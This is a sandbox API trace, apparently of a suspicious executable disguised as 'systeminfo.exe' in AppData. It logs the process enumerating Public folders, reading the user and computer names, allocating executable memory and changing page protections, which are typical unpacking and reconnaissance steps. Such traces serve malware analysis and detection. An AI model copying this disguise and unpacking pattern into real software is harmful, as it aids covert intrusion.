lpString2="Documents" | out: lpString1="c:\\Users\\Public\\Documents") returned="c:\\Users\\Public\\Documents" [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Documents\\") returned="c:\\Users\\Public\\Documents\\" [0121.694] lstrlenW (lpString="c:\\Users\\Public\\Documents\\") returned 26 [0121.694] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Documents\\*") returned="c:\\Users\\Public\\Documents\\*" [0121.694] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.694] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.694] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.694] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.695] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.695] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Documents\\") returned 26 [0121.695] lstrlenW (lpString="desktop.ini") returned 11 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Documents\\desktop.ini") returned="c:\\Users\\Public\\Documents\\desktop.ini" [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Documents\\desktop.ini") returned 37 [0121.695] lstrcpyW (in: lpString1=0x24abdb0, lpString2="c:\\Users\\Public\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Documents\\desktop.ini") returned="c:\\Users\\Public\\Documents\\desktop.ini" [0121.695] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.695] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Documents\\") returned 26 [0121.695] lstrlenW (lpString="My Music") returned 8 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="c:\\Users\\Public\\Documents\\My Music") returned="c:\\Users\\Public\\Documents\\My Music" [0121.695] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.695] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Documents\\") returned 26 [0121.695] lstrlenW (lpString="My Pictures") returned 11 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="c:\\Users\\Public\\Documents\\My Pictures") returned="c:\\Users\\Public\\Documents\\My Pictures" [0121.695] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.695] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Documents\\") returned 26 [0121.695] lstrlenW (lpString="My Videos") returned 9 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="c:\\Users\\Public\\Documents\\My Videos") returned="c:\\Users\\Public\\Documents\\My Videos" [0121.695] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.695] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.695] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.695] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0121.695] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0121.695] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.695] lstrlenW (lpString="Downloads") returned 9 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="c:\\Users\\Public\\Downloads") returned="c:\\Users\\Public\\Downloads" [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Downloads\\") returned="c:\\Users\\Public\\Downloads\\" [0121.695] lstrlenW (lpString="c:\\Users\\Public\\Downloads\\") returned 26 [0121.695] lstrcatW (in: lpString1="c:\\Users\\Public\\Downloads\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Downloads\\*") returned="c:\\Users\\Public\\Downloads\\*" [0121.695] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Downloads\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.696] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.696] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.696] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.696] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.696] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.696] lstrlenW (lpString="c:\\Users\\Public\\Downloads\\") returned 26 [0121.696] lstrlenW (lpString="desktop.ini") returned 11 [0121.696] lstrcatW (in: lpString1="c:\\Users\\Public\\Downloads\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Downloads\\desktop.ini") returned="c:\\Users\\Public\\Downloads\\desktop.ini" [0121.696] lstrlenW (lpString="c:\\Users\\Public\\Downloads\\desktop.ini") returned 37 [0121.696] lstrcpyW (in: lpString1=0x24abe08, lpString2="c:\\Users\\Public\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Downloads\\desktop.ini") returned="c:\\Users\\Public\\Downloads\\desktop.ini" [0121.696] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.696] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.696] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.696] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0121.696] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0121.696] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.696] lstrlenW (lpString="Favorites") returned 9 [0121.696] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Favorites" | out: lpString1="c:\\Users\\Public\\Favorites") returned="c:\\Users\\Public\\Favorites" [0121.696] lstrcatW (in: lpString1="c:\\Users\\Public\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Favorites\\") returned="c:\\Users\\Public\\Favorites\\" [0121.696] lstrlenW (lpString="c:\\Users\\Public\\Favorites\\") returned 26 [0121.696] lstrcatW (in: lpString1="c:\\Users\\Public\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Favorites\\*") returned="c:\\Users\\Public\\Favorites\\*" [0121.696] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Favorites\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.696] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.696] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.696] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.696] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.696] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.696] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0121.696] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0121.696] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.696] lstrlenW (lpString="Libraries") returned 9 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="c:\\Users\\Public\\Libraries") returned="c:\\Users\\Public\\Libraries" [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Libraries\\") returned="c:\\Users\\Public\\Libraries\\" [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Libraries\\") returned 26 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Libraries\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Libraries\\*") returned="c:\\Users\\Public\\Libraries\\*" [0121.697] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Libraries\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.697] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.697] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.697] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.697] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.697] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.697] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.697] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Libraries\\") returned 26 [0121.697] lstrlenW (lpString="desktop.ini") returned 11 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Libraries\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Libraries\\desktop.ini") returned="c:\\Users\\Public\\Libraries\\desktop.ini" [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Libraries\\desktop.ini") returned 37 [0121.697] lstrcpyW (in: lpString1=0x24abe60, lpString2="c:\\Users\\Public\\Libraries\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Libraries\\desktop.ini") returned="c:\\Users\\Public\\Libraries\\desktop.ini" [0121.697] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.697] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1 [0121.697] lstrcmpW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1 [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Libraries\\") returned 26 [0121.697] lstrlenW (lpString="RecordedTV.library-ms") returned 21 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Libraries\\", lpString2="RecordedTV.library-ms" | out: lpString1="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 47 [0121.697] lstrcpyW (in: lpString1=0x24ad900, lpString2="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: lpString1="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="c:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0121.697] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.697] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.697] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.697] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0121.697] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0121.697] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.697] lstrlenW (lpString="Music") returned 5 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Music" | out: lpString1="c:\\Users\\Public\\Music") returned="c:\\Users\\Public\\Music" [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Music\\") returned="c:\\Users\\Public\\Music\\" [0121.697] lstrlenW (lpString="c:\\Users\\Public\\Music\\") returned 22 [0121.697] lstrcatW (in: lpString1="c:\\Users\\Public\\Music\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Music\\*") returned="c:\\Users\\Public\\Music\\*" [0121.697] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Music\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.697] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Music\\") returned 22 [0121.698] lstrlenW (lpString="desktop.ini") returned 11 [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\Music\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Music\\desktop.ini") returned="c:\\Users\\Public\\Music\\desktop.ini" [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Music\\desktop.ini") returned 33 [0121.698] lstrcpyW (in: lpString1=0x24b01c8, lpString2="c:\\Users\\Public\\Music\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Music\\desktop.ini") returned="c:\\Users\\Public\\Music\\desktop.ini" [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="Sample Music", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="Sample Music", lpString2="..") returned 1 [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Music\\") returned 22 [0121.698] lstrlenW (lpString="Sample Music") returned 12 [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\Music\\", lpString2="Sample Music" | out: lpString1="c:\\Users\\Public\\Music\\Sample Music") returned="c:\\Users\\Public\\Music\\Sample Music" [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.698] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.698] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.698] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0121.698] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.698] lstrlenW (lpString="Pictures") returned 8 [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="c:\\Users\\Public\\Pictures") returned="c:\\Users\\Public\\Pictures" [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Pictures\\") returned="c:\\Users\\Public\\Pictures\\" [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Pictures\\") returned 25 [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\Pictures\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Pictures\\*") returned="c:\\Users\\Public\\Pictures\\*" [0121.698] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Pictures\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.698] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.698] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Pictures\\") returned 25 [0121.698] lstrlenW (lpString="desktop.ini") returned 11 [0121.698] lstrcatW (in: lpString1="c:\\Users\\Public\\Pictures\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Pictures\\desktop.ini") returned="c:\\Users\\Public\\Pictures\\desktop.ini" [0121.698] lstrlenW (lpString="c:\\Users\\Public\\Pictures\\desktop.ini") returned 36 [0121.698] lstrcpyW (in: lpString1=0x24abeb8, lpString2="c:\\Users\\Public\\Pictures\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Pictures\\desktop.ini") returned="c:\\Users\\Public\\Pictures\\desktop.ini" [0121.698] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.698] lstrcmpW (lpString1="Sample Pictures", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="Sample Pictures", lpString2="..") returned 1 [0121.699] lstrlenW (lpString="c:\\Users\\Public\\Pictures\\") returned 25 [0121.699] lstrlenW (lpString="Sample Pictures") returned 15 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\Pictures\\", lpString2="Sample Pictures" | out: lpString1="c:\\Users\\Public\\Pictures\\Sample Pictures") returned="c:\\Users\\Public\\Pictures\\Sample Pictures" [0121.699] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.699] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.699] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.699] lstrcmpW (lpString1="Recorded TV", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="Recorded TV", lpString2="..") returned 1 [0121.699] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.699] lstrlenW (lpString="Recorded TV") returned 11 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Recorded TV" | out: lpString1="c:\\Users\\Public\\Recorded TV") returned="c:\\Users\\Public\\Recorded TV" [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\Recorded TV", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Recorded TV\\") returned="c:\\Users\\Public\\Recorded TV\\" [0121.699] lstrlenW (lpString="c:\\Users\\Public\\Recorded TV\\") returned 28 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\Recorded TV\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Recorded TV\\*") returned="c:\\Users\\Public\\Recorded TV\\*" [0121.699] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.699] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.699] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.699] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.699] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.699] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.699] lstrlenW (lpString="c:\\Users\\Public\\Recorded TV\\") returned 28 [0121.699] lstrlenW (lpString="desktop.ini") returned 11 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\Recorded TV\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Recorded TV\\desktop.ini") returned="c:\\Users\\Public\\Recorded TV\\desktop.ini" [0121.699] lstrlenW (lpString="c:\\Users\\Public\\Recorded TV\\desktop.ini") returned 39 [0121.699] lstrcpyW (in: lpString1=0x24abf10, lpString2="c:\\Users\\Public\\Recorded TV\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Recorded TV\\desktop.ini") returned="c:\\Users\\Public\\Recorded TV\\desktop.ini" [0121.699] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.699] lstrcmpW (lpString1="Sample Media", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="Sample Media", lpString2="..") returned 1 [0121.699] lstrlenW (lpString="c:\\Users\\Public\\Recorded TV\\") returned 28 [0121.699] lstrlenW (lpString="Sample Media") returned 12 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\Recorded TV\\", lpString2="Sample Media" | out: lpString1="c:\\Users\\Public\\Recorded TV\\Sample Media") returned="c:\\Users\\Public\\Recorded TV\\Sample Media" [0121.699] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.699] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.699] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.699] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0121.699] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0121.699] lstrlenW (lpString="c:\\Users\\Public\\") returned 16 [0121.699] lstrlenW (lpString="Videos") returned 6 [0121.699] lstrcatW (in: lpString1="c:\\Users\\Public\\", lpString2="Videos" | out: lpString1="c:\\Users\\Public\\Videos") returned="c:\\Users\\Public\\Videos" [0121.700] lstrcatW (in: lpString1="c:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="c:\\Users\\Public\\Videos\\") returned="c:\\Users\\Public\\Videos\\" [0121.700] lstrlenW (lpString="c:\\Users\\Public\\Videos\\") returned 23 [0121.700] lstrcatW (in: lpString1="c:\\Users\\Public\\Videos\\", lpString2="*" | out: lpString1="c:\\Users\\Public\\Videos\\*") returned="c:\\Users\\Public\\Videos\\*" [0121.700] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\Videos\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.700] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.700] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.700] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.700] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.700] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.700] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.700] lstrlenW (lpString="c:\\Users\\Public\\Videos\\") returned 23 [0121.700] lstrlenW (lpString="desktop.ini") returned 11 [0121.700] lstrcatW (in: lpString1="c:\\Users\\Public\\Videos\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Public\\Videos\\desktop.ini") returned="c:\\Users\\Public\\Videos\\desktop.ini" [0121.700] lstrlenW (lpString="c:\\Users\\Public\\Videos\\desktop.ini") returned 34 [0121.700] lstrcpyW (in: lpString1=0x24b0218, lpString2="c:\\Users\\Public\\Videos\\desktop.ini" | out: lpString1="c:\\Users\\Public\\Videos\\desktop.ini") returned="c:\\Users\\Public\\Videos\\desktop.ini" [0121.700] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.700] lstrcmpW (lpString1="Sample Videos", lpString2=".") returned 1 [0121.700] lstrcmpW (lpString1="Sample Videos", lpString2="..") returned 1 [0121.700] lstrlenW (lpString="c:\\Users\\Public\\Videos\\") returned 23 [0121.700] lstrlenW (lpString="Sample Videos") returned 13 [0121.700] lstrcatW (in: lpString1="c:\\Users\\Public\\Videos\\", lpString2="Sample Videos" | out: lpString1="c:\\Users\\Public\\Videos\\Sample Videos") returned="c:\\Users\\Public\\Videos\\Sample Videos" [0121.700] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.700] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.700] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.700] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.700] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0 [0121.700] FindClose (in: hFindFile=0x8256e0 | out: hFindFile=0x8256e0) returned 1 [0121.700] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0121.700] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0121.700] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0121.700] lstrcmpW (lpString1="Windows", lpString2="Windows") returned 0 [0121.700] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 0 [0121.700] FindClose (in: hFindFile=0x8256a0 | out: hFindFile=0x8256a0) returned 1 [0121.700] GetUserNameA (in: lpBuffer=0x34fa90, pcbBuffer=0x34f814 | out: lpBuffer="aETAdzjz", pcbBuffer=0x34f814) returned 1 [0121.702] GetComputerNameA (in: lpBuffer=0x34f990, nSize=0x34f814 | out: lpBuffer="YKYD69Q", nSize=0x34f814) returned 1 [0121.703] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x34f890, nSize=0x34f814 | out: lpBuffer="YKyd69q", nSize=0x34f814) returned 1 [0121.703] lstrlenA (lpString="aETAdzjz") returned 8 [0121.706] GetModuleHandleA (lpModuleName=0x0) returned 0x3d0000 [0121.706] GetModuleFileNameA (in: hModule=0x3d0000, lpFilename=0x34fa94, nSize=0x103 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0121.706] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xa0000 [0121.707] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74e30000 [0121.707] GetProcAddress (hModule=0x74e30000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x74ec3f49 [0121.707] FreeConsole () returned 0 [0121.707] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x160000 [0121.708] VirtualProtect (in: lpAddress=0xa1000, dwSize=0x98d3, flNewProtect=0x20, lpflOldProtect=0x34fb7c | out: lpflOldProtect=0x34fb7c*=0x4) returned 1 [0121.708] VirtualProtect (in: lpAddress=0xab000, dwSize=0xb2e, flNewProtect=0x2, lpflOldProtect=0x34fb7c | out: lpflOldProtect=0x34fb7c*=0x4) returned 1 [0121.708] VirtualProtect (in: lpAddress=0xac000, dwSize=0xbd8, flNewProtect=0x4, lpflOldProtect=0x34fb7c | out: lpflOldProtect=0x34fb7c*=0x4) returned 1 [0121.708] VirtualProtect (in: lpAddress=0xad000, dwSize=0x5d0, flNewProtect=0x2, lpflOldProtect=0x34fb7c | out: lpflOldProtect=0x34fb7c*=0x4) returned 1 [0121.708] VirtualProtect (in: lpAddress=0xa0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x34fb7c | out: lpflOldProtect=0x34fb7c*=0x4) returned 1 [0121.708] lstrlenA (lpString="just string") returned 11 [0121.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.708] GetLastError () returned 0x57 [0121.708] GetCurrentProcessId () returned 0x5d8 [0121.708] GetCurrentProcessId () returned 0x5d8 [0121.708] lstrlenA (lpString="just string") returned 11 [0121.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.708] GetLastError () returned 0x57 [0121.708] lstrlenA (lpString="just string") returned 11 [0121.708] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.708] GetLastError () returned 0x57 [0121.708] GetLastError () returned 0x57 [0121.708] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.709] SetLastError (dwErrCode=0x57) [0121.709] GetCurrentProcess () returned 0xffffffff [0121.709] GetLastError () returned 0x57 